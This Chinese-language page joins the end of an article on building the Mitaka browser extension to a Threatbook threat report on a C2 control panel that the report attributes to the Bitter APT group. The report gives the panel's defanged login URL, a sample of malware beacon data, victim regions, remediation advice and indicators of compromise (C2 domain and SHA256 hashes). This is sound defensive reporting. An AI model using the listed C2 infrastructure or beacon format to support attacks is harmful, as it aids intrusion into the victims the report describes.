TypeScript文件位于src目录中,可以通过TypeScript编译器运行,然后使用Webpack进行代码构建,最终在dist目录中生成JavaScript文件。

git clone https://github.com/ninoseki/mitaka.git

cd mitaka

npm install

npm run test

npm run build

项目地址

Mitaka:【GitHub传送门

* 参考来源:ninoseki,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

编号: TB-2019-0013

报告置信度:85

TAG:Bitter  蔓灵花 印度 北京 上海 主控 后台

TLP: 白(报告使用及转发不受限制)

日期: 2019-10-30

摘要

2019年10月29日,微步在线监测到有研究者在Twitter上披露了某木马的C2控制后台,其中包括部分目前正在被控的IP。对之进行了分析后,有如下发现:

此主控后台系印度政府背景APT组织Bitter所有。(Bitter,又名“蔓灵花”,是一个长期针对中国、巴基斯坦等国家的政府、军工、电力、核等部门发动网络攻击的APT团伙,具有印度国家背景)对后台日志进行分析发现,中国是主要的受害者,其中受影响地区包含北京、上海、浙江、广西等地。

详情

2019年10月27日,推特用户@MisterCh0c发布消息称发现了一款木马控制平台的登录地址http://lmhostsvc[.]net/healthne/login.php,10月28日,另一用户@sS55752750回复该信息并配有一张后台页面图片,根据图片发现该后台至少记录了12台被控主机的IP地址、计算机名、用户名、操作系统、被控时间及最后一次上线时间等信息。

核实发现,相关域名属于印度政府背景APT组织Bitter所有,于2019年9月26日已经识别,且近期已捕获该域名相关多个木马样本。

通过云沙箱查询发现,相关木马启动后的回传信息如下:

a=vbccsb-PC

b=VBCCSB-PC

c=Windows 7 Ultimate

d=vbccsbvbccsb1a86a5ed-85f2-4731-b953-cd4bb615f8531565536040965860&e=

由此可知与此次曝光平台展示的信息完全一致。而对该后台分析发现,目前记录的18个IP地址中9个属于中国,主要涉及北京、上海、浙江、广西等地,该平台还具备下发木马插件的功能,可对受控主机实施进一步操作,相关信息如下所示:

行动建议

1、建议受影响企业高度重视此次事件,并结合内部DNS记录,排查与主控域名存在通信的相关内部主机。

2、建议对该组织的攻击活动进行持续检测和防范。

附录

C2

lmhostsvc.net

Hash

a5f42d753ce4d5c5144554b8cde3d2d9158371a6447606643ba272fac329db6e

20d4056be75b8d616a68afe08699faba8847****ca24caef485107ba5514ccdb

34e90f0676e00e035d84e23c18cfb0f732be7e5bfbc0269e4f5fd7d8f664332a

4e2bcb8a42125c45e43b1b760f791633cb92d5519e6df2fb1ff6296b3e9e289a

*本文作者:Threatbook,转载请注明来自FreeBuf.COM